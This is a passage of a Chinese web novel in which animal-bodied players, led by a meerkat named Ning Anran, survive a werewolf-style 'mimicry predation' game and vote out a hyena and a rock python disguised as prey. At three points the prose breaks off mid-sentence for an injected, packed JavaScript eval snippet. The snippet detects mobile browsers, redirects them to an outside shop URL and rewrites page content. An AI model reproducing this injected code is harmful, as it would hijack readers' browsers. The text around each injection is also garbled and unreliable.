唐婧的手又颤了一下,声音从喉咙里勉强地挤出来:“你、你闭嘴……你在说话我真要掉下去了……” 就在唐婧挪动得越来越慢的时候,宁安然在树杈上站了起来。 她现在需要一个锚点。 “糖糖,别听他的,看着我,我在这里等你过来。” 宁安然的声音不响,却如同一根钉子一般钉住了唐婧胡思乱想的心神。 宁安然用尾巴撑住了身体,后背挺直,两只前爪自然垂落在胸前。 这是狐獴放哨的姿态。当群落中其他成员在觅食或休息的时候,总有一只狐獴会站在最高的地方,竖起身体,为所有的同伴守望。 这是宁安然第一次用姿态守望自己的同伴。 唐婧下意识地抬起了头,阳光打在宁安然黄棕色的毛皮上,为她镀上了一层金边。 她的身形不大,还不到一公斤。 但唐婧觉得,每向前一步,她的身影就高大了一分。 “去小柠那里、去小柠那里、去小柠那里……” 她默念着这句话,上肢的动作也加快了许多,爪子一前一后地扒着藤蔓,不再往下看了。 每念一遍,她就往前挪动一步。 终于,唐婧也顺利爬到了对岸,在到达宁安然身边的一瞬间,她整个鼠无力地趴在了树杈上,四肢垂落了下去,大口喘着气,如同一只废鼠。 宁安然低下身子,用爪子轻轻碰了碰唐婧的脑袋。 唐婧没有抬头,只是继续喘着气,用一只大爪子反过来扣住了宁安然的小爪子。 两人的默契无需多言。 “啧啧,姐就是姐。怕归怕,过归过,哆嗦着也得往前挪。”林行在一边乐呵地扑扇着翅膀,算是在给唐婧鼓掌。 唐婧对着林行翻了个白眼,懒得理他。 刚想说话,三人的脑海中却同时响起了提示音。 【已检测到岛屿上玩家数达标,“拟态捕食”游戏即将开始,请在10分钟内前往地图上指定坐标,否则……呵呵,后果自负。】 11. 稀树草原 这该死的世界,真的一刻也不让人休息啊! “天呐,这是什么意思……”唐婧满头问号地看着自己地图上的坐标位置,“我们要去这个岛的东北边吗?” 宁安然看着自己的坐标,心向下沉了一点——她要去的位置和唐婧的不一样。 这代表在这个游戏里,他们三个人要分开行动了。 “我的坐标不一样,在岛的西南角,林行你呢?”宁安然说道。 林行拍了拍翅膀,语气里藏不住得意:“哼哼,我的位置就在我们现在的地方,岛的东南角。看来老天爷也看得起我,我动都不用动!” “别得意得太早,这游戏应该不简单。”宁安然不咸不淡地瞥了一眼林行。 游戏名字里都有“捕食”,肯定对他们这些猎物来说很不友好。 终端上的10分钟倒计时不断地催促着他们,唐婧的目标点离这里最远,她连忙朝剩下两人挥了挥爪子,朝岛的东北角跑了过去:“友友们,我先走了哈,回头见!” 宁安然也朝西南角的方向走去:“嗯,我也走了,注意安全。” 黄棕色小巧的身影在杂草中快速穿行着,她明显感觉到这个岛上的植被比刚才的岛茂密许多,金合欢树几乎每几米就有一棵,其间还零零散散地立着几棵猢狲木和棕榈树,枝影交错,投下一片片斑驳的阴影。 地形也更比较复杂,在朝西南角跑的时候,她先是跑进了一个盆地里,又爬上了一段缓坡,才到了目标坐标。 看样子这个岛是天然的追猎场,有足够的遮蔽物,地势也有高低差,既适合躲藏,也适合伏击。 【检测到您已到达指定坐标,成功加入本轮的“拟态捕食”游戏,规则已发放到您的终端。游戏将在5分钟后开启。】 宁安然点开了左爪上的树叶刻纹,终端的界面和刚才相比不太一样。 最上方显示着血红色的游戏开启倒计时,中央是密密麻麻的游戏规则文字。 【欢迎来到地区限定活动-“拟态捕食”: 自然界中,有一种古老而高效的狩猎策略:化身为猎物的模样,混入它们之中,与它们并肩行走、共同饮水、友好交谈。然后在某个不经意的瞬间……撕开伪装,将身边的"同伴"拖入死亡。 听起来很不道德?大自然可不讲道德(°▽°) 本次活动共招募了8名玩家,包括6名猎物和2名捕食者。捕食者将临时获得变形能力,以一种随机猎物的外貌混入队伍。没错,他们看起来和你一模一样,一样弱小,一样无害,一样值得信赖(大拇指表情)。 当然,捕食者随时可以撕下那层羊皮,露出狼的爪牙。届时,被猎杀的猎物将从游戏中出局。 而且不只是从本次活动中出局哦~是从《动物世界》里出局,永久的那种。 猎物们也并不是完全没有还手之力,毕竟这里是个很公平的世界(^_^)。本岛屿上设有4个任务点,其中包括2个双人任务,2个三人任务。只要能在游戏结束前完成所有任务,就视作猎物胜利,无论此时捕食者是否仍在场上。 此外,在游戏进行到30分钟和60分钟的时候,所有未出局玩家必须前往岛屿中央的“和平小屋”中参加集会。集会期间游戏时间暂停,届时所有玩家可以自由讨论并投票选出自己心目中的捕食者。 如果某一位玩家得票超过半数,则该玩家出局,强制留在和平小屋中直至游戏结束。 最终,获胜的阵营将获得与“拟态”相关的神秘奖励。至于失败阵营的成员……你们的背包将被清空,一件不剩。 游戏时长:1小时。 猎物胜利目标:完成全部4个任务,或将所有捕食者投票出局。 捕食者胜利目标:阻止猎物完成任务,且在至少1名捕食者在游戏结束时仍未被投票出局。】 宁安然眯了眯眼睛,快速消化着规则里的信息。 这个游戏类似于狼人杀,只不过没有预言家之类的身份牌,让判断谁是捕食者变得更难了。 而多人任务的存在,也导致猎物们必须要主动做出选择——谁值得相信,谁又必须怀疑。 【游戏开始——】 随着系统提示音在宁安然脑海中响起,终端的地图上也显示出了4个任务点的位置。 东、西、南、北的四个角各有一个任务。 离宁安然最近的西边任务点是一个双人任务,她立刻迈开四只爪子朝任务点跑去。 游戏的时间很短,猎物队必须尽快把任务做完,她没时间跨越整个岛屿去找唐婧和林行。 她跑到了刚才所经过的那个盆地处,来到了任务点的位置。 而那里,除了她之外,还站着另外一个动物。 首先映入眼帘的是一大团蓬松得棉花糖似的白毛,从那堆白毛中,她勉强看清了里面有一条短短的小尾巴。 似乎是听到了她的声响,那团白毛转过了身,两只小耳朵和一张羊脸露了出来,黄灿灿的眼睛凝视着她,横瞳冷淡地看着她。 【检测到当前任务点人数已满,双人任务-捕兽夹安置已解锁】 宁安然看向那只绵羊——她的被动警报没有响。 但她并不能确定对方是不是真正的猎物。在这个游戏里,拟态过的捕食者可能连她的被动都能一起骗过去。 宁安然轻吸了一口气,朝绵羊的方向走去:“嗨,我们一起把任务做了吧。” 哪怕它真是捕食者,自己也能靠保命的“羽翼”飞走。 “嗯。” 绵羊喉咙里发出了一声短促的回应,宁安然甚至没听清它是男是女。 这个任务需要两个玩家合作,一个人捡散落在地上的铁片放到指定位置,另一个人则需要把这些铁片搭成一个捕兽夹的形状。 绵羊没有询问宁安然,直接低下头,叼着铁片往指定位置摆。 虽然话不多,但效率还是挺高的。绵羊体型大走路快,狐獴的爪子比较灵活,这样的分工很合理。 宁安然也跑了过去,一块一块拨弄着绵羊送来的铁片,摆成开着口的夹子的形状。 “你也是两天前来到这个世界的吗?”宁安然搭话道。 “嗯。”绵羊又只是应了一声。 宁安然快被它的反应给噎死了。要不是她需要判断对方是不是捕食者,她才懒得和它搭话。 “那你的出生点在这附近吗?是怎么到这个岛上来的呀?”宁安然不屈不挠地接着问道。 绵羊把叼过来了一根尖锐的铁丝,没有像刚才那样递给她,而是直接把铁丝小心地放在了夹子中央。 它这是……在照顾自己吗?宁安然愣了一下。 “我出生点在这个岛的南边。那里的草很硬,吃不了,我昨晚就到了这里。”绵羊平淡地说道。 她总算听出来了,这绵羊应该是个年轻的男人,声音低沉,却不显得粗粝。 他还真是问什么就答什么啊! 宁安然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470648|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续问道:“那你方便说一下,你的主动和被动技能是什么吗?” “不方便。” 绵羊说完之后,两人之间的气氛陷入了尴尬的沉默。 这人回答得倒是没什么破绽,草原上大部分的野草都是红燕麦草,草根很硬,不适合绵羊这种贴地啃食型的动物。这座岛上确实植被丰沛些,长着适合绵羊吃的嫩草。 而他不愿意告诉自己技能,也在意料之内。 如果他是捕食者,那他肯定提前会编好自己的技能,通过告诉别人来增加可信度。但如果他是猎物的话,因为怀疑自己是捕食者,所以不会愿意暴露自己的底牌。 就在这时,他们身后突然传来一道甜美可爱的声音。 “哈喽呀~我在南边没有找到人,原来你们是来这里做任务了!” 宁安然回过头,那是一只米黄色的棉尾兔,身上缀着一些白色和灰色的斑点,此时正竖着耳朵看着他们,浑身上下透着无害的气息。 宁安然抬爪打了个招呼:“你好。” 而就在兔子朝他们的方向蹦过来的时候,绵羊却突然抬高了音量。 “不要靠过来!” 兔子呆滞了一下,随后微微张着嘴,兔脸上露出了一个可怜的表情:“怎么了呀,我想来帮你们一起做任务,这样能做得快一点~” 甜妹声线配上软萌的表情,放在正常情况下,很容易让人下意识心软。 可惜这里是猎杀游戏场,而宁安然和绵羊也不是正常人。 “不需要你帮忙,站定别动。”男人剜了兔子一眼,目光锋利得像刀一样,这样的表情在绵羊脸上出现,显得格外违和。 宁安然清楚绵羊的用意,于是也没有吭声。 捕兽夹快要搭完了,而且游戏的时间也已经进行到23分钟。他们在中场集会之前没机会再去下一个任务点,这只兔子的加入不会对他们有任何帮助。 万一这兔子是捕食者,故意添乱导致任务失败,那就得不偿失了。 “啊,对、对不起,我不该过来的……”兔子咬了一下下唇,黑珍珠般的眼睛里全是自责。 而宁安然和绵羊根本不理她,合作把最后一块铁片搭在了捕兽夹的顶端。 【双人任务-捕兽夹安置已完成】 在听到系统提示音的时候,游戏时间已经来到了26分钟,他们也是时候前往小屋了。 宁安然和绵羊朝中央“和平小屋”的方向走去,兔子也连忙一蹦一跳地跟在他们身后:“等等我~我和你们一起走吧!” “注意距离。”绵羊冷漠地说道。 在这个游戏里,因为合作任务的存在,猎物们必须要有自己信任的人。 宁安然和绵羊一起顺利完成了任务,形成了短暂的信任圈,而后来的兔子对猎物阵营没有任何贡献,则自然被排除在了圈外。 他们在路上的时候,脑海里都同时响起了另一道声音。 【三人任务-围栏安装已完成】 看来是另外一侧的猎物同步在做任务。 三人来到“和平小屋”的时候正好是30分钟,小屋里已经有几个人在那里了。 宁安然一眼就看到了趴在地上的鼹鼠和活蹦乱跳的椋鸟,心中暗暗松了一口气。 除此之外,小屋里还有一只朱鹮和一只半个身体仍在小屋外面,只有头伸进来了的大犀牛。 1、2、3……7。 “和平小屋”内,有一只动物没有到场。 12. 稀树草原 林行也立刻注意到了这件事:“哎?我的天老爷,那只鸡呢?” 宁安然一愣:“鸡?” “一开始我不是在东南角么,然后我就飞到天上看了一圈,结果你猜怎么着?我就看着了一只鸡!它身上全是点点,我密集恐惧症都犯了。”林行扬着一只翅膀朝东南的方向比划着。 听着他的话,宁安然在记忆中搜索到了符合他描述的物种:“你说的应该叫珠鸡,对吧?” 珠鸡是生活在热带草原里的鸟类,身上布满白色圆点,像长着满身的珍珠一般。 “哦,原来叫这名字啊。那珠鸡可奇怪得很,明明它旁边就是东边的三人任务,结果它却朝反方向跑。我还没来得及喊它,它就跑到灌木丛里没影儿了。我还以为它是捕食者嘞。”林行说道。 小屋里安静了一瞬间。 在宁安然身后躲着兔子怯生生地开口:“它现在还没回来,不会是……” “死了。”门口的犀牛说道,语气随意,是个比较成熟的女声。 小屋共有南北两扇小门,而犀牛的庞大身躯占据了小门外的全部视野,只露了带着尖角的犀牛头在房间里。 她似乎对珠鸡的死亡没有任何感觉。 兔子不由得缩了缩脖子,爪子紧张地贴在了宁安然的后腿上。 对于这种自来熟的行为,宁安然稍微有些不爽,但表面上没有任何变化。 “我们来理一下谁有可能杀死这只珠□□。我想先和大家说明一件事,我和这位鼹鼠、这只椋鸟是同伴,在游戏开始之前是一起来到这座岛屿的,所以请先排除我们是捕食者的可能。”宁安然朝着其他动物说道。 “诶?原来你们认识的吗?”兔子眨眨眼睛。 唐婧和林行点了点小脑袋。 林行用翅膀搂了一下宁安然的肩,被她一爪子拍开了。 “运气不错,直接排除了三个选项。”那只朱鹮开口了,是清澈的青年嗓音,语气明亮轻快,“那我也来报一下行踪。我在游戏开局就遇到了鼹鼠小姐和椋鸟先生,我们一起做了位于场地东边的的三人任务,整个过程大概20几分钟,中间没有分开过。” 自从来到这个小屋起,朱鹮就安静地单脚站立在房间边缘听着他们讲话。他白色的羽毛整洁得没有一丝杂乱,说话的时候微微低着头,照顾到了小型动物的身高。 光是看着他,就能让人想象出一个文静男大学生的样子。 “嗯,这位大鸟哥应该没有时间作案。”唐婧附和道。 “那个,我刚和您说过,我是朱鹮……”朱鹮无奈。 绵羊也开口了:“我和松鼠在一起做了西边的双人任务。” 宁安然有着和朱鹮相同的无奈:“我其实是狐獴。” “……抱歉。”绵羊轻声道。 “那个!”兔子举起了一只前爪,“我刚才也和这两个哥哥姐姐在一起~” 宁安然没有纠正兔子的说法,毕竟她的行动逻辑比较通畅,暂时怀疑不到她头上。 兔子说完这句话之后,所有动物的视线都聚焦到了唯一没报自己行踪的犀牛身上。 “犀牛姐,你呢?我没看到过你,你刚才去了哪个任务点?”林行问道。 犀牛不屑地轻笑了一声:“呵,这游戏去做合作任务不是找死么?谁知道跟你合作的是人是鬼,我才不会冒这个风险呢!我一开始在东北边,然后就找了一片树林躲起来了,谁都没碰到过。” 此话一出,众人看向犀牛的眼神都有些变化。 所有人都在想办法做任务,只有这犀牛不打算去做,而且全程单走,听上去就很可疑。 “犀牛小姐,没有人遇到过你,这是不是说明你有时间去杀死那位珠鸡呢?”朱鹮问道,他的语气仍然很轻松,但话语间的意思却给人压迫感。 “我骗你干嘛,老娘身正不怕影子斜!”犀牛梗了一下脖子,“从头到尾,我都在东北的树林里躲着,还好没碰到捕食者。” “行啊我犀牛姐,不愧是沾了个牛字,咱办事儿就是牛!”林行阴阳怪气道,“别人拼死拼活做任务的时候你躲树林里,这波属于是,躺赢躺输咱不管,反正就是一个躺!” 犀牛被林行这几句气得够呛,但又没什么有力的话可反驳,只能反复说“老娘就是没干”。 宁安然垂下了眼睑,在脑海中重构着前30分钟内游戏里发生的情况。 林行开局时遇见了同样出生在东南角的珠鸡,珠鸡没有去做东边的任务,而是朝西边跑。 唐婧和朱鹮去了东边,与林行汇合,完成了三人任务。 根据刚才的经验,双人任务宁安然和绵羊做了20多分钟的时间,三人任务应该也差不多,所以那只朱鹮应该是没机会杀人的。 兔子开局去了南边的任务点,没有找到人,然后来到了西边的任务与他们汇合。虽然没人能证明她的前半段行踪,但她的描述与其他所有人的轨迹吻合——确实没有人去过南边的任务。她一个人没法完成任务,所以就近去了西边的双人任务点。 唯有犀牛的行动逻辑是有问题的。 其他人都在想办法做任务,从而提高猎物的胜率,而她作为一只在自然界中几乎没有天敌的大型食草动物,哪怕真的遇到捕食者都能搏一搏,却躲起来不做任务,这很不正常。 小屋里暗流涌动,不少人的视线都在犀牛身上打转。 “嗯……那个,我说得不一定对,但是,会不会就是犀牛姐姐杀的呀?”兔子小声地说道。 唐婧用大爪子挠了挠头:“确实是她的概率比较大。” 犀牛则仍然非常不满,又是把自己那一套“不做任务就不会死”的理论给说了一遍。 【距离下半场游戏还有5分钟,请玩家尽快在终端上投票】 似乎系统也觉得事情已经有定论了,开始催促起玩家来。 宁安然看着终端,上面亮着除了她之外6个动物的头像,已经死亡的珠鸡头像暗了下来。 她陷入了沉思。 犀牛确实有时间作案,而且说出来的话像是现编的借口。 但凭借这些依据,就能确定是她杀的吗? 如果这只是平时大学生之间玩的狼人杀,那把她抗推出去也无妨。但这场游戏决定着重要的资源,一旦失败的话,宁安然他们好不容易拿到的水和肉就会瞬间消失。 有没有什么别的信息,能破解这个疑案呢? 宁安然的视线移到了那个黯淡的珠鸡头像上。 她的眼睛猛地一亮:“原来如此……” 倒计时来到了2分半,朱鹮已经将翅膀触向另一个翅膀上悬浮着的屏幕,打算投票了,宁安然立刻扬声制止了他。 “先别投票,杀死珠鸡的人不是犀牛。” 朱鹮愣了一下,停下了翅膀的动作。 其他众人也将视线纷纷投在了这只狐獴的身上,疑惑她还有什么别的想法。 “真正的凶手是……”宁安然扭过头,看向正趴在自己身边的兔子,“她。” 兔子颤了一下,随后抬眼无辜地看向宁安然:“姐姐,你是在开玩笑吧,我怎么会杀那只鸡呢?” “狐獴小姐,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470649|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得她在说谎是吗?”朱鹮若有所思地问道。 “没错。”宁安然清了下嗓子,坚定地说道,“犀牛确实没有不在场证明,但是各位别忘了,我的同伴椋鸟在开局的时候曾见过到珠鸡。那时它没有往附近的东边任务走,而是朝西边走去。这样反常的举动必定有原因。 “原因就是,那个方向上有其他人在叫它。” 朱鹮歪了歪脖子:“你是说,有人把珠鸡引诱了过去?” 此话一出,在场的人都陷入了思考。 兔子则立刻反驳道:“那里有人又怎么样,肯定是犀牛在那里骗它过去,然后把它杀掉了呀!” 还没等犀牛把她那一套说辞再搬出来一遍,宁安然就果断地摇头。 “不可能。请大家不要忘了,椋鸟曾看见珠鸡跑进了灌木丛,然后失去了踪影。” 说到这里,一旁的绵羊眼神顿了一下,随后果断在终端上朝兔子的头像按下了投票键。 宁安然接着说道:“不论棉尾兔还是珠鸡,都是能在灌木丛间隐藏身形的。而犀牛就不一样了。如果是犀牛在呼唤珠鸡的话,那我的同伴椋鸟一定能看见那里的犀牛。” 林行只看见了珠鸡而没有看见另一只动物,那么那只动物就只能是另一个在前半段时间里消失了的兔子。 “好家伙我的柠……狐獴姐,太有实力了!”林行顿时崇拜地看向宁安然。 唐婧也举起爪子作了一个打气的姿势。 “你,那……”兔子的语气明显慌乱了起来,她也从宁安然的身边移开了一段距离,挥舞着前爪,“那个老女人是捕猎者的话,她的本体肯定不是犀牛啊,说不定是狼啊狗啊之类的,也能藏进灌木丛里不是吗?” Boom! 宁安然的嘴角挽起一抹笑容——她等的就是这句话。 兔子彻底聊爆了。 没等宁安然解释,一旁的绵羊就冷淡地开了口。 “你是觉得,珠鸡会在看到狼狗本体的情况下,还朝那个方向走过去么?” 兔子张了张嘴,像是被人掐住了脖子,一句话也说不出来。 …… 半小时前。 在岛屿中央出生的棉尾兔打量了一下周围的场景——她正处于一大片茂密的灌木丛中,视野相当隐蔽。 正前方是东边的三人任务,应该有猎物会去那里。但是那里是一片很空旷的草地,如果去那里捕猎的话,很有可能被附近其他猎物给看见。 就在这时,一只珠鸡出现在了兔子的视野中,它正打算朝东边任务的方向走去。 “哈喽哈喽!”兔子连忙出声喊它。 珠鸡扭过头,有些疑惑地看向了这里,歪着脑袋找到了灌木丛中的两只兔耳朵:“你是只兔子?怎么在那里?咋不去做任务?” 兔子故作痛苦地抬了一下身体,又垂了下去:“哥哥,我的腿被灌木丛里的石头卡住了,过不去。” 珠鸡的脖子向前伸了几公分,但也看不清灌木丛里的情况:“啥?真的假的?” 兔子将声音又放轻了些,甜腻地说道:“真的真的,嘶……我好痛。” 珠鸡犹豫了一下——如果不管这兔子的话,东边的任务不一定能凑够三个人。 于是最终,他还是走了过来。 就在他踩进灌木丛里的时候,眼前就突然出现了一大块棕色的阴影…… …… “和平小屋”内。 众人都打开了爪子和蹄子上的终端。 【投票已结束,“棉尾兔”-苏冉获得5票,苏冉已出局】 13. 稀树草原 在众人的注视下,兔子脸上的无辜和纯良一寸寸龟裂开来,她的身形骤然向上升起,肩部拔高得最多,背脊向后塌陷了下去。她圆钝的脑袋像是被什么东西往下拽着一般垂落下来,深褐色的眼睛恶狠狠地看向宁安然。 “呵,小东西,你以为你很聪明,是么?你是赢不了我们的。” 鬣狗张开了大嘴,利齿朝宁安然的方向撕咬,比狐獴高大数十倍的身形瞬间压迫而来。 宁安然不禁向后退了半步,脑袋“嗡”地响了一下,理智略微下降。 而苏冉的周围似乎有隐形的锁链禁锢着她,让她无法移动分毫,只能在原地张牙舞爪地咧着嘴。 “是你赢不了我。”宁安然锐利的目光毫不怯懦地和她对视着。 她当了20多年的猎物,还不知道捕食者是什么样的么? 虚伪、贪婪、傲慢、不知餍足…… 这些习惯于站在食物链高处的人,无论再怎么伪装,在她面前总会露出破绽。 就如同披着羊皮的狼,哪怕看上去再柔弱无害,肚皮下面仍然长着灰黑色的毛。 鬣狗被固定在了和平小屋的墙上,嘴巴也被无形的锁链勒住了,说不出一句话。 看到她凶狠的一幕,唐婧有些不安地用爪子碰了碰宁安然:“小柠,我们接下来该怎么办?” 宁安然环顾了一下小屋里的众人——除了唐婧和林行之外,在场的还有犀牛、朱鹮和绵羊。 在他们三个里面,还有一个是捕食者。而那个捕食者是在这一轮里唯一一个没有投票给苏冉的人。 “接下来还有北边的三人任务,和南边的双人任务需要做。不然我们分成两组如何?”朱鹮提议道,“我可以和椋鸟先生去做双人任务,余下四位一同去做三人任务。” 朱鹮的提议出乎林行的意料,他有些抗拒:“大哥,我跟你又不熟,为啥要和你一起啊!” 宁安然却一下就懂了朱鹮的意思。 他所说的,确实是目前而言对猎物队最有利的解决方案。 宁安然向林行解释道:“排除了我们三个之后,剩下有嫌疑的就是犀牛、朱鹮和绵羊。你的爆发飞行速度堪比老鹰,是我们当中最容易从捕猎者手下脱身的。如果你和朱鹮一组,哪怕朱鹮是捕猎者,你也有飞走的机会。 “而如果捕猎者在犀牛和绵羊之间,它在四个人中间也没那么好下手。” 这个策略很符合自然界中的猎物的生存法则——擅长逃脱的猎物往往独居,而缺乏自保能力的猎物则会群居,用数量来稀释被捕食的风险。 “那就这样弄呗。”犀牛无所谓地说道。 看这犀牛的态度,只要众人做的决定不侵犯她个人的利益,无论怎么样她都无所谓。 宁安然动了动胡须,她没有直接朝北边的方向走。 “小柠,你还有什么别的想法吗?”唐婧看出了宁安然还在犹豫,便询问道。 宁安然瞥了一眼正迫不及待地蹦来蹦去的林行——朱鹮在提议的时候他没有同意,但自己一开口的时候就立刻准备动身了,甚至都没等她把话说完。 她知道,林行不止是被这套逻辑说服了,他是相信她的判断。 要把一个相信着自己的同伴置于危险之中,她实在是不忍心。 林行的拟声能力只有敌明我暗的时候才有用,可以装作是老虎吓走捕猎者。而在这个游戏里,他的技能完全用不上。 就在这时,绵羊冷淡地开口了:“我、朱鹮、犀牛一组,去做双人任务。剩下的三个去做三人任务。” 小屋里的空气立刻安静了一瞬间。 绵羊提出的则是另一种不同的策略——把所有有嫌疑的人全部放在一起,确保已确认的猎物不受威胁。 林行愣了一下:“行啊,我反正没意见,这可是你说的啊,你别后悔。” 对于宁安安、唐婧和林行而言,这无疑是最好的决定。而对剩下三人来说就不一样了,他们中的猎物要承担的风险就更大了。 “搞来搞去的这么麻烦?反正你们人数够做任务,老娘我还是找个地方躲起来算了。”犀牛有些不耐烦了。 绵羊骤然靠近了犀牛一步,黑色竖瞳宛如地狱恶魔般盯着她:“让你听指挥,你只要答应就行了。” 不只是犀牛,剩下几个人也被绵羊这突如其来的压迫感吓了一跳。 唐婧轻声在宁安然耳边嘀咕道:“这绵羊不会是捕食者吧?” “现在还看不出来。”宁安然摇了摇头。 朱鹮走过去站到了绵羊和犀牛之间,切断了他们二人的眼神交流:“时间不多了,那我们就按绵羊先生说的来吧。犀牛女士,您堵住门了。” 犀牛骂骂咧咧地从门上挪开了身体。 两队分别往一南一北的方向离开。 南边的双人任务是清理杂草,对狐獴和鼹鼠这两个钻地动物来说不算什么难事。 “呼,还好我们三个分到一起啦,总算不用担惊受怕了。”唐婧一边快速用爪子铲着杂草,一边感叹道。 林行用喙叼着枯草往外拔,速度也不算慢:“柠檬姐,糖糖姐,你们觉着那三个里面谁是捕猎者啊?” 唐婧说:“我觉得可能是犀牛。她上一轮全程都在摸鱼哎,像是没找到合适的猎物在到处乱逛。” 宁安然双爪并用,刨起土里的杂草来也是相当地快:“不管是谁,至少我们能在这场游戏里活下来。大不了东山再起。” 游戏失败只是清空背包。而如果在游戏里被捕食者吃掉……那就是直接删号了。 “日落西山无所谓,东山再起管他谁!”林行扬着翅膀高昂地说道。 【双人任务-除草行动已完成】 他们这边的气氛很融洽,过了20多分钟之后顺利做完了任务,朝小屋的方向走去。 走到一半的时候,唐婧疑惑地说道:“奇怪……时间快要到了,怎么还没有另一个任务的提示?” “对啊,那儿是个两人任务,怎么也该整完了。”林行附和道。 三人都同时意识到了不对劲。 宁安然语气沉重地说道:“捕食者应该动手了。” …… 时间到了一小时整,游戏里所有剩下的人都来到了和平小屋中。 然而刚一踏进和平小屋,宁安然的猜测就被验证了。 朱鹮和绵羊分别站在小屋离得最远的两个角落,互相敌视着对方。。 犀牛不见了。 林行不由得张开嘴,下喙都快掉到地上了:“犀牛姐死了?!” 犀牛因其巨大的体重和厚实的皮肤,在自然界中没有天敌。哪怕是食物链顶层的老虎和狮子,在犀牛的牛角面前也会被一角攘飞。 那捕食者究竟有什么样的能力,能杀死这样的庞然大物? 朱鹮深吸了一口气,尽量保持着语气的平静:“请三位听我说,这位先生看上去是只绵羊,其实他是一条眼镜王蛇。在我们做任务的时候,他变回了本体,咬了犀牛女士一口,随后犀牛女士中了他的毒倒下了。他还想要来追我,所幸我可以飞,直接飞回了和平小屋里。” 绵羊冷漠地看着朱鹮,立刻反驳道:“该死的骗子,嘴里没有一句实话。做任务的时候,明明是你变成了一条蟒蛇,然后突然把嘴张得很大,直接把犀牛给咬成了两截。我用了保命的冲撞能力,才及时跑到了小屋。” 听到他的描述,朱鹮不禁笑出了声:“呵,先生,你编也不编得像样点。我说你是蛇,你就也说我是蛇?” 他转过身来朝着三只小动物,礼貌地弯下脖子:“小姐先生们,我打算不要求你们无条件地相信我,但你们应该也察觉到了这位眼镜蛇先生话语里的漏洞。在这个世界里,动物们获得的技能与品种有关。 “比如我作为朱鹮,被动技能是‘晨昏本能’,在黎明和黄昏时,我的飞行速度会有提升。主动技能是‘涂羽铠甲’,我可以将尾脂腺的油脂涂抹在全身羽毛上,提升羽毛的防御力。 “假设我是蟒蛇的话,我的能力一定也和蟒蛇的习性相关。蟒蛇捕杀猎物从来都是靠缠绕来把猎物勒到窒息,而不是靠咬合力,怎么会有和咬合力相关的技能呢?” 不得不说,朱鹮的逻辑相当缜密,和他想比,绵羊说的话就像是在现编。 唐婧凑到了宁安然脑袋边:“小柠,我记得你以前说过,蟒蛇确实会把猎物勒死。这个绵羊是不是在说谎啊?” “好像有那么一点儿道理,那绵羊哥,你的技能是啥?”林行看向绵羊。 绵羊动了动蹄子,有些犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470650|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我的技能……” 朱鹮扬起了脖子,语气中带着轻快的笑意:“三位想必心中已经有判断了吧,这位眼镜蛇先生连绵羊的技能都没有编好,我想,我们可以开始投票了。” 他颈后纤长的冠羽立了起来,像戴上了王冠一般。那长而弯的喙朝着绵羊的方向转了一个角度,居高临下地审视着他。 阳光从小屋的门缝中透进来,为他的羽尖打上了一层暖白色的光晕,如同一位从天堂而来的使者,公平地审判着罪人。 唐婧和林行都被他那正义的气场吸引住了目光,心中也有了判断。 而宁安然的视线却落在了朱鹮羽毛的下方。 那圣洁的白羽下透出了猩红的底色,随着他扬着头的动作若隐若现,像是一炮下藏着的利刃。 “确实可以开始投票了,我会投给你。”宁安然看向朱鹮。 “诶?”唐婧愣了一下。 宁安然的反应也出乎朱鹮的意料,他歪了歪头礼貌地表示疑惑:“狐獴小姐,您可能有什么误解,不如我重新和你解释一遍眼镜蛇先生话语里的漏洞……” “昨天,我亲眼看到你用巨大的咬合力把一只条纹獴咬成了两半,就和绵羊描述得一模一样。”宁安然冷淡地说道。 朱鹮的栽赃逻辑很严密,先发制人地说对方是蛇,等绵羊反过来指认他是蛇的时候,就自然有反咬一口的嫌疑。他还在这么短的时间内编出了两个完美的技能,一个贴合朱鹮晨昏活动的习性,另一个源自朱鹮会在羽毛上涂抹尾脂腺油脂的行为,简直毫无破绽。 再加上绵羊在说自己技能的时候有些犹豫,更是被他抓到了可乘之机。 但是,宁安然亲眼见过他的捕猎情况。 那只条纹獴“咔嚓”一下在他的嘴里断成两截,连脊柱骨都被利落地切断,没有任何黏连。 在绵羊描述他捕猎场景的时候,宁安然浑身打了一个冷颤——他到底有什么样逆天的技能,连犀牛的身体也能一口咬断? 这条岩蟒,会是个相当可怕的敌人。 “天老爷,这么夸张的吗?”林行瞪大了鸟眼。 唐婧也惊讶地合不上下巴,露了两颗大板牙在外面:“天呐天呐……这技能也太无敌了吧!” 宁安然、林行、唐婧和绵羊纷纷打开终端,将票投给了朱鹮。 【投票已结束,“岩蟒”-裴清秋获得4票,裴清秋已出局。】 